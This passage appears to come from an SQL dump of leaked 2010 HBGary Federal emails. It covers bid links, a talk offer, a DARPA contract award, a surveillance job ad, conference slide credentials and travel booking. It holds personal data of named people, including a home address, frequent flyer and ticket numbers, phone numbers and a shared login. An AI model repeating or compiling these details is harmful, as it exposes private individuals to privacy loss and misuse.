\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=2&amp;ved=0CBUQFjAB&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2Fr-src.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIx_JrrOPkBfuJqEI2F64sb5kYlw\r\n\r\n \r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=3&amp;ved=0CBoQFjAC&amp;url=http%3A%2F%2Fwww.slbid.com%2Fgovernment_bids%2Findex.htm%3Fbt%3D1%26so%3Da%26otp%3Dfed%26st%3D60504000%26pageno%3D3&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIyb32PqVasLSeLaT2DHYxRo5aoQ\r\n\r\n \r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=d88e9d660336be91552fe8c1a51bacb2&amp;tab=core&amp;_cview=1\r\n\r\n \r\nwhoa man.\r\n \r\n-G\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',11658,'aaron_hbgary_com/11658.html'),(8043,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006285.M634555P14101Q2898.eml','\"Aaron Barr\" <aaron@hbgary.com>','My \"Faster Massive Immersive\" talk',' \r\nAaron,\r\n \r\nAttached is a talk I gave at the emerging tech conference and the CIA, and then later pitched it to REBL (might have been last year&#39;s) - I had to cancel the REBL talk at the last minute however.  Attached is the REBL version but it&#39;s basically the same.  I pitched it to blackhat two years in a row, and was declined two years in a row.  I also gave this talk at CSU out in the springs (I think Ted was there for that).  The talk was extremely well received in all venues.  We might be able to make a variation of this talk, updated w/ some of your social media knowledge, and continue to work it as a markting effort.  I would be willing to give the talk to help you guys, or can go over some of it if you want to steal parts of it for your own presentations.\r\n\r\n \r\n-Greg\r\n',2386,'aaron_hbgary_com/2386.html'),(8044,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006285.M956309P14101Q2899.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark@hbgary.com','Re: Regular domains beat smut sites at hosting malware','I don&#39;t care.  I still prefer smut sites for gathering my malware.On Wed, Jun 30, 2010 at 10:04 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nRegular domains beat smut sites at hosting malware\r\n99 to 1, study finds\r\n New research pours scorn on the comforting but erroneous belief that Windows surfers who avoid smut and wares on the web are likely to avoid exposure to malware.…Sent from my iPad\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',1665,'aaron_hbgary_com/1665.html'),(8045,'2010-06-30','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297006286.M186929P14101Q2900.eml','\"Aaron Barr\" <aaron@hbgary.com>','is this good news for HB Gary?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?\r\n\r\n&nbsp;\r\n\r\nCYBER GENOME PROGRAM.\r\n\r\nhttp://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.\r\n\r\nOppId: 61006 .\r\n\r\nDepartment: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.\r\n\r\nRFP Date: 2010-01-28.\r\n\r\nStatus: Partial Award.\r\n\r\nValue($K): 43000.\r\n\r\nLatest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267.. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nCurious about Fidelis XPS&#8482;? Watch video samples here:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2224,'aaron_hbgary_com/2224.html'),(8046,'2010-06-30','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297006286.M416520P14101Q2901.eml','\"Aaron Barr\" <aaron@hbgary.com>','EXPERIENCED SURVEILLANCE / HUMINT ROLE PLAYERS WANTED','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn  Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: EXPERIENCED SURVEILLANCE / HUMINT ROLE PLAYERS WANTED \r\n      \r\n      \r\n	        We are currently recruiting for EXPERIENCED Surveillance Role Players and Team Leaders in and around the following areas; \r\n\r\nSan Diego California \r\nJacksonville North Carolina \r\nPhoenix Arizona \r\n\r\nYOU MUST BE WILLING TO TRAVEL IF REQUIRED. \r\n\r\nSurveillance Role Player candidates MUST have surveillance experience to include vehicle, foot, static, and multi-mode. Counter Surveillance experience is also desired however, actual surveillance experience is a MUST. Individuals with the above experience and who are familiar working within Military and Government Intelligence training platforms are strongly encouraged to apply. \r\n\r\nWe are also recruiting for professionals with HUMINT training experience to conduct intrusions and provide Counter Surveillance support. \r\n\r\nThese are part time contract positions to support training exercises that will last approximately 10-14 days. These reoccurring exercises are anticipated to begin late August or early September. M&amp;I per diem will be paid. Travel (if required), lodging and rental car will be provided. \r\n\r\n\r\nRequired Equipment; \r\nGPS \r\nVideo Camera \r\nBinoculars \r\n\r\nIf you are interested and have the above described qualifications please submit your resume to Mr. Mike Ghigo at mghigo@sdi-investigativeservices.com \r\n\r\nThank you in advance for your time and consideration. \r\n\r\nMike Ghigo \r\nPresident \r\nSDI Investigative Services\r\n	      \r\n      Posted By Mike Ghigo\r\n      \r\n    \r\n    \r\n      View or add comments &#187;\r\n    \r\n    \r\n    \r\n    Don\'t want to hear from the manager? Unsubscribe here\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n  \r\n\r\n\r\n',3830,'aaron_hbgary_com/3830.html'),(8047,'2010-06-30','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297006286.M639235P14101Q2902.eml','\"Phoebe J. Boelter\" <pboelter@capsllc.net>,\"Kristen Jacobucci\" <kjacobucci@capsllc.net>','FIRST 2010 Presentation Pack Ready for Download','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\neveryone,\r\n\r\n&nbsp;\r\n\r\nFinal\r\npresentations are ready to download! \r\n\r\n&nbsp;\r\n\r\nPlease\r\nhead over to https://reg.first.org/papers,\r\nuser: attendee and pass: FIRST.&nbsp; I&#8217;ve inserted a link &#8220;Download\r\nthe FULL PRESENTATION ZIP Package.&#8221;&nbsp; The package includes:\r\n\r\n&nbsp;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCopy\r\nof final program booklet\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPresentation\r\nslides broke down by day and room\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSome\r\nslides from Wednesday&#8217;s Lightning Talk session\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWednesday\r\nICANN Workshop slides\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDave\r\nAitel&#8217;s flash Prezi presentation\r\n\r\n&nbsp;\r\n\r\nPlease\r\nnote that there are no slides for DUS Philip Reitinger, Heather Adkins, Adrian\r\nAsher, Robert Rounsavall and the Team Cymru Dragon Research Group presentation.\r\n\r\n&nbsp;\r\n\r\nWe\r\nwill move 2010 presentations to the Member&#8217;s Security Library at the end\r\nof July.&nbsp; As a reminder, FIRST Members have access to past conference,\r\nsymposia and technical colloquia materials in the Security Library located on\r\nthe Member&#8217;s side of www.first.org. \r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions, please don&#8217;t hesitate to contact me.\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5875,'aaron_hbgary_com/5875.html'),(8048,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006286.M878093P14101Q2903.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Your United flight confirmation - July 6, 2010 - Denver to 	Sacramento','---------- Forwarded message ----------From:  &lt;UNITED-CONFIRMATION@united.com&gt;\r\nDate: Wed, Jun 30, 2010 at 12:51 PMSubject: Your United flight confirmation - July 6, 2010 - Denver to SacramentoTo: TED@hbgary.com\r\n		\r\n			 \r\n\r\n			\r\n		\r\n		\r\n			\r\n				\r\n				\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n\r\n\r\n	\r\n		\r\n\r\n\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n    \r\n    \r\n				\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n\r\n	united.com purchase details:\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n			\r\n						\r\n								\r\n						\r\n						\r\n						\r\n						 United\r\n						 	\r\n						 		Confirmation #\r\n					 			N7LVCT\r\n						 	 \r\n						\r\n							\r\n						\r\n				       \r\n       				       				\r\n       				\r\n					\r\n						\r\n													\r\n							\r\n			       					\r\n					 						&gt;\r\n											Print Itinerary\r\n				       				\r\n			       			\r\n			       			\r\n			       			\r\n								\r\n												  	\r\n				  					  \r\n				  						&gt;\r\n				  						View itinerary\r\n				  					\r\n				  					\r\n				 					\r\n								\r\n								\r\n							\r\n							\r\n							\r\n			       			\r\n			       					\r\n												&gt;\r\n												EasyCheck-in Online\r\n				       				\r\n			       									\r\n						  \r\n	       			      				\r\n       				\r\n       			\r\n       			\r\n \r\n \r\n \r\n				\r\n				\r\n				\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		Flight info\r\n	\r\n	\r\n		\r\n		\r\n			\r\n		\r\n	\r\n		\r\n			\r\n				\r\n					\r\n						\r\n							\r\n							Tue, Jul 06, 2010Denver, CO (DEN)   Sacramento, CA (SMF) \r\n						\r\n					\r\n				\r\n				\r\n					Flight\r\n					Depart\r\n					Arrive\r\n					Cabin\r\n					Seats\r\n				\r\n				\r\n					\r\n						\r\n						\r\n						\r\n						\r\n							\r\n							\r\n									 	\r\n	 							\r\n								United 0103\r\n								\r\n							\r\n							\r\n								DEN\r\n								12:06 PM\r\n\r\n								Tue, Jul 6, 2010\r\n\r\n							\r\n							\r\n								SMF\r\n								01:36 PM\r\n\r\n								Tue, Jul 6, 2010\r\n\r\n							\r\n							\r\n								\r\n								Economy (S)\r\n							\r\n							\r\n							\r\n							\r\n							 \r\n							\r\n								\r\n								\r\n								\r\n								\r\n								15D, 15E\r\n								\r\n									\r\n									\r\n										\r\n									\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n									\r\n								\r\n							\r\n						\r\n						\r\n						\r\n							\r\n								\r\n									Equipment:\r\n									\r\n										\r\n										\r\n											\r\n											\r\n											752\r\n											\r\n										\r\n									  \r\n									 | Duration:2h 30m  | Non-stop | Fare code:\r\n									\r\n										\r\n										\r\n											SA0CS\r\n										\r\n									\r\n									Traveled miles:910 | \r\n									\r\n									\r\n									 						\r\n										Award miles:910 |\r\n			    					\r\n									 No Meal Service\r\n								\r\n							\r\n						\r\n					\r\n				\r\n\r\n			\r\n\r\n				\r\n					\r\n						\r\n							\r\n							Thu, Jul 08, 2010Sacramento, CA (SMF)   Denver, CO (DEN) \r\n						\r\n					\r\n				\r\n				\r\n					Flight\r\n					Depart\r\n					Arrive\r\n					Cabin\r\n					Seats\r\n				\r\n				\r\n					\r\n						\r\n						\r\n						\r\n						\r\n							\r\n							\r\n									 	\r\n	 							\r\n								United 6882\r\n								Operated by: United Express/skywest Airlines\r\n							\r\n							\r\n								SMF\r\n								05:32 PM\r\n\r\n								Thu, Jul 8, 2010\r\n\r\n							\r\n							\r\n								DEN\r\n								08:49 PM\r\n\r\n								Thu, Jul 8, 2010\r\n\r\n							\r\n							\r\n								\r\n								Economy (V)\r\n							\r\n							\r\n							\r\n							\r\n							 \r\n							\r\n								\r\n								\r\n								\r\n								\r\n								08B, 08A\r\n								\r\n									\r\n									\r\n										\r\n									\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n								\r\n									\r\n								\r\n							\r\n						\r\n						\r\n						\r\n							\r\n								\r\n									Equipment:\r\n									\r\n										\r\n										\r\n											\r\n											\r\n											CR7\r\n											\r\n										\r\n									  \r\n									 | Duration:2h 17m  | Non-stop | Fare code:\r\n									\r\n										\r\n										\r\n											VA7KN\r\n										\r\n									\r\n									Traveled miles:910 | \r\n									\r\n									\r\n									 						\r\n										Award miles:910 |\r\n			    					\r\n									 No Meal Service\r\n								\r\n							\r\n						\r\n					\r\n				\r\n\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n	\r\n	\r\n		\r\n			Check-in information\r\n			\r\n			Please note that valid, government-issued photo identification must be presented at check-in.\r\n			\r\n			\r\n			\r\n			\r\n			\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n		\r\n				\r\n		   	\r\n	\r\n			\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n				\r\n				\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n        \r\n\r\n\r\n\r\n    	\r\n	    \r\n	    \r\n    	\r\n\r\n\r\n\r\n    	\r\n	    \r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n	\r\n	\r\n	    \r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n		\r\n			Because you are a valued Mileage Plus Premier Executive member, we have requested an Unlimited Domestic Upgrade on your behalf. Please check back in My Itineraries 72 hours before your scheduled departure to learn if your upgrade has been confirmed.\r\n		\r\n\r\n\r\n	\r\n	Review\r\n		\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						Name\r\n					\r\n					\r\n						Frequent flyer\r\n					\r\n					\r\n						Ticket\r\n					\r\n					\r\n						Fare(s)\r\n					\r\n					\r\n					\r\n						Additional   taxes and fees\r\n					\r\n					\r\n						Fare subtotal(s)\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							\r\n						\r\n						\r\n					\r\n					\r\n					\r\n						\r\n							\r\n							\r\n								\r\n									TED VERA\r\n								\r\n								03116129450\r\n								0162109953418\r\n								\r\n									400.00USD\r\n								\r\n								\r\n								\r\n									21.40\r\n									USD\r\n								\r\n								\r\n									421.40\r\n									USD\r\n								\r\n							\r\n						\r\n					\r\n					\r\n					\r\n					\r\n					\r\n						\r\n							\r\n								 \r\n									\r\n										\r\n											\r\n												\r\n													\r\n												\r\n												\r\n											\r\n										\r\n										\r\n											\r\n												\r\n													Secure Flight data complete\r\n													Review\r\n												\r\n												\r\n											\r\n										\r\n									\r\n								\r\n								\r\n							\r\n						\r\n					\r\n					\r\n				\r\n					\r\n						\r\n						\r\n							\r\n						\r\n					\r\n					\r\n					\r\n						\r\n							\r\n							\r\n								\r\n									MARK TRYNOR\r\n								\r\n								03253943288\r\n								0162109953419\r\n								\r\n									400.00USD\r\n								\r\n								\r\n								\r\n									21.40\r\n									USD\r\n								\r\n								\r\n									421.40\r\n									USD\r\n								\r\n							\r\n						\r\n					\r\n					\r\n					\r\n					\r\n					\r\n						\r\n							\r\n								 \r\n									\r\n										\r\n											\r\n												\r\n													\r\n												\r\n												\r\n											\r\n										\r\n										\r\n											\r\n												\r\n													Secure Flight data complete\r\n													Review\r\n												\r\n												\r\n											\r\n										\r\n									\r\n								\r\n								\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			\r\n			\r\n			\r\n				\r\n					Please review the fare rules for this itinerary.\r\n					\r\n				\r\n				\r\n					Fare total:\r\n					842.80\r\n					USD\r\n				\r\n				\r\n			\r\n		\r\n	\r\n\r\n\r\n				\r\n				\r\n				\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n    		    	    \r\n    	\r\n\r\n\r\n	\r\n	\r\n	    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	 \r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n \r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n			\r\n					\r\n	\r\n	\r\n	\r\n\r\n	\r\n\r\n\r\n\r\n\r\n					\r\n						\r\n							Purchase summary\r\n\r\n\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						\r\n					\r\n				\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n	\r\n	 \r\n				\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n		\r\n			Product\r\n		\r\n			Credit card:\r\n		\r\n			Receipt\r\n		\r\n			Price\r\n	\r\n	\r\n \r\n	 \r\n		\r\n			\r\n			\r\n				\r\n	         	  	\r\n	         	  		Ticket price\r\n	         	  	\r\n	        	  \r\n	        	 \r\n	        \r\n	        \r\n			\r\n	 			\r\n	          	\r\n	              	\r\n	                    		Mastercard \r\n	                    		xxxxxxxxxxx9904\r\n	                  \r\n	               	\r\n	               	 		N7LVCT\r\n	               	\r\n				\r\n	                  	\r\n				 \r\n	       		\r\n					\r\n						\r\n						\r\n	                    	842.80 \r\n						 \r\n					\r\n	                USD\r\n	        	\r\n	   				\r\n						\r\n			\r\n				\r\n			\r\n				\r\n		\r\n\r\n	\r\n		\r\n	\r\n	\r\n	\r\n		\r\n			\r\n				\r\n				\r\n					Ticket total: 842.80 USD\r\n				\r\n			\r\n		\r\n	\r\n\r\n\r\n		\r\n			\r\n				 \r\n				\r\n					\r\n					\r\n						Itinerary total:\r\n					\r\n				 \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					Grand total: \r\n				\r\n				\r\n			 	 \r\n			\r\n     			\r\n     			\r\n     					842.80 \r\n     					USD\r\n     			\r\n     		\r\n		\r\n		\r\n	 \r\n   \r\n   \r\n \r\n\r\n\r\n\r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n   \r\n   	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n				Billing / Delivery information\r\n			\r\n		\r\n		\r\n		\r\n	  		\r\n	  					\r\n					TED H VERA\r\n					874 LEGEND OAK DR\r\nFOUNTAIN CO 80817\r\nUSA\r\n\r\n					\r\n				\r\n			\r\n        \r\n  \r\n\r\n\r\n\r\n\r\n				\r\n				\r\n				\r\n\r\n\r\n\r\n\r\n	\r\n    \r\n    \r\n	\r\n\r\n\r\n\r\n	  	\r\n		\r\n						\r\n			\r\n			\r\n				Book your hotel\r\n			\r\n			  \r\n		\r\n	  	\r\n\r\n		\r\n		\r\n        \r\n                \r\n        \r\n	        \r\n	        	\r\n				  	\r\n						\r\n			            \r\n							Location\r\n							Dates of stay\r\n							Hotel\r\n							Rating\r\n							Price\r\n						\r\n							  \r\n						\r\n				  	\r\n				\r\n				\r\n				  	\r\n					\r\n						\r\n			                Sacramento\r\n			                07/06-07/08\r\n							Governors Inn Hotel\r\n							\r\n								\r\n								\r\n							\r\n							As low as USD62.40 per night\r\n							\r\n							  	\r\n								\r\n										\r\n									  \r\n								\r\n							  	\r\n							\r\n						\r\n						  \r\n					\r\n				  	\r\n				\r\n				  	\r\n					\r\n						\r\n			                Sacramento\r\n			                07/06-07/08\r\n							Hotel Sierra Rancho Cordova\r\n							\r\n								\r\n								\r\n							\r\n							As low as USD108.00 per night\r\n							\r\n							  	\r\n								\r\n										\r\n									  \r\n								\r\n							  	\r\n							\r\n						\r\n						  \r\n					\r\n				  	\r\n				\r\n				  	\r\n					\r\n						\r\n			                Sacramento\r\n			                07/06-07/08\r\n							The Citizen Hotel, a Joie de Vivre Boutique Hotel\r\n							\r\n								\r\n								\r\n							\r\n							As low as USD118.30 per night\r\n							\r\n							  	\r\n								\r\n										\r\n									  \r\n								\r\n							  	\r\n							\r\n						\r\n						  \r\n					\r\n				  	\r\n				\r\n							\r\n			 \r\n		\r\n		\r\n			 \r\n		\r\n				\r\n		\r\n\r\n	  	\r\n		\r\n			\r\n				\r\n				More hotels\r\n			\r\n			  \r\n		\r\n					\r\n		\r\n	  	\r\n		\r\n			\r\n			\r\n			\r\nReserve your car with the United discount\r\n\r\n	\r\n		\r\n		\r\n			\r\n					• Save up to 20% with the United discount and earn double miles\r\n					• Additional savings on the weekends and rentals of 5 or more days\r\n					• Plus, earn a 1,000 mile booking bonus Reserve now\r\n\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n			\r\n			\r\n			\r\n			\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEnhance your travel experience\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nUnited Mileage Plus® Visa\r\n  Earn 30,000 miles, and 1 mile per eligible $1. Redeem with no blackouts. Apply now.\r\n\r\n\r\n\r\n\r\n\r\nProtect your travel plans with Trip Protector offered by United with Access America. Learn more.\r\n\r\n\r\n\r\nSave time with EasyCheck-in Online. Find out more.\r\n\r\n\r\n\r\nDining opportunities to earn miles. Sign up now.\r\n\r\n\r\n\r\n\r\n\r\n			\r\n			\r\n			  \r\n		\r\n	  	\r\n		\r\n		\r\n	\r\n	\r\n\r\n				\r\n				\r\n				\r\n\r\n	   \r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThank you for booking at united.com where you&#39;ll always enjoy:\r\n\r\n\r\nUnited&#39;s guaranteed lowest fares Learn more\r\n\r\nNo booking fees\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n	Airline tickets are nontransferable.\r\n	The name on your ticket must match the name on your government-issued photo ID presented at time of check-in.\r\n	You may also be asked during check-in to present the credit card used for purchase.\r\n	\r\n	Passengers traveling on United Airlines (UA) carriers are subject to United&#39;s \r\n	contract of carriage,\r\n	which is available for download at united.com.\r\n	The contract of carriage governs matters such as:\r\n	\r\n		\r\n			Check-in requirements for domestic and international travel,\r\n			including information about when service may be refused;\r\n		\r\n		\r\n			Limits on liability for delay, damage or loss of baggage,\r\n			including fragile or perishable goods;\r\n		\r\n		\r\n			Claims restrictions, including time periods within which\r\n			a passenger must file a claim or bring an action against the UA Carrier;\r\n		\r\n		\r\n			The UA Carriers&#39; rights and limits on liability for delay or failure to perform service,\r\n			including schedule changes, rerouting and substitution of alternate air carrer, aircraft or mode of travel;\r\n		\r\n		\r\n			Rules on overbooking and reconfirmation of reservations; and\r\n		\r\n		\r\n			Baggage policies, including carry-on allowances and size and weight restrictions for checked bags.\r\n		\r\nContact United customer relations to provide comments or file a complaint about United&#39;s scheduled flight service.\r\n\r\n	\r\n	\r\n		Ticket rules:\r\n			Ticket validity is based on fare and point of origin. Refundable tickets are valid for one year from date of issue. Nonrefundable tickets are valid as issued and, for travel originating in the U.S., will lose remaining value if changes are not made prior to your originally scheduled departure time on your current ticketed travel dates. Certain fees/charges may also apply. \r\n		\r\n		\r\n		International travel:\r\n			Be sure to bring a copy of your E-Ticket receipt to the airport, along with your passport and any other required travel documents. International travel information such as State Department advisories and visa information can be found through the united.com Travel Requirements page.\r\n		\r\n		\r\n		Important travel tips:\r\n			Please visit the Traveler Guide page at united.com for updated baggage policies, information about online and airport check-in, security screening procedures, flight status, airport maps, information for customers with special needs, in-flight movie schedules and more. \r\n		\r\n	\r\n	\r\n	If you would like to view or modify your itinerary, please visit\r\n	united.com, where you can also:\r\n	\r\n		access your Mileage Plus® account\r\n		check flight status\r\n		\r\n			check in for your flight\r\n			(within 24 hours of departure)\r\n		\r\n		\r\n			view travel guidelines\r\n		\r\n		and more\r\n	\r\n\r\n\r\n\r\n\r\n				\r\n			\r\n		\r\n	-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',6036,'aaron_hbgary_com/6036.html'),(8049,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006287.M151506P14101Q2904.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Sacramento','I booked our travel for next week.  Mark and I will arrive in Sacramento Tuesday (July 6th) at 1:30pm and depart Thursday evening at 5:30pm.Ted\r\n\r\n',4817,'aaron_hbgary_com/4817.html'),(8050,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006287.M373616P14101Q2905.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','RE: Sacramento','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs that going to be long enough?&nbsp; Seems kind of short.&nbsp; Also I\r\nwant some changes to website, can mark stay longer?&nbsp; If not can we walk through\r\nit on the phone?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, June 30, 2010 12:04 PM\r\nTo: Greg Hoglund; Scott Pease; DeeAnn Buonaccorsi; Penny Leavy; Barr\r\nAaron; mark@hbgary.com\r\nSubject: Sacramento\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI booked our travel for next week. &nbsp;Mark and I will\r\narrive in Sacramento Tuesday (July 6th) at 1:30pm and depart Thursday evening\r\nat 5:30pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5547,'aaron_hbgary_com/5547.html'),(8051,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006287.M617141P14101Q2906.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,,','Re: Sacramento','Penny,\r\n \r\nMark is able to do all the website work from remote - he has been doing OK and has the required remote access.\r\n-Greg\r\nOn Wed, Jun 30, 2010 at 12:07 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nIs that going to be long enough?  Seems kind of short.  Also I want some changes to website, can mark stay longer?  If not can we walk through it on the phone?\r\n\r\n \r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] Sent: Wednesday, June 30, 2010 12:04 PM\r\nTo: Greg Hoglund; Scott Pease; DeeAnn Buonaccorsi; Penny Leavy; Barr Aaron; mark@hbgary.comSubject: Sacramento\r\n\r\n \r\nI booked our travel for next week.  Mark and I will arrive in Sacramento Tuesday (July 6th) at 1:30pm and depart Thursday evening at 5:30pm.\r\n\r\n \r\n\r\nTed\r\n',9796,'aaron_hbgary_com/9796.html'),(8052,'2010-06-30','info@input.com','/aaron@hbgary.com/new/1297006287.M833479P14101Q2907.eml','Aaron@HBGary.com','INPUT Free Trial Request Confirmation','\r\n\r\n\r\n	\r\n		INPUT Confirmation\r\n\r\n		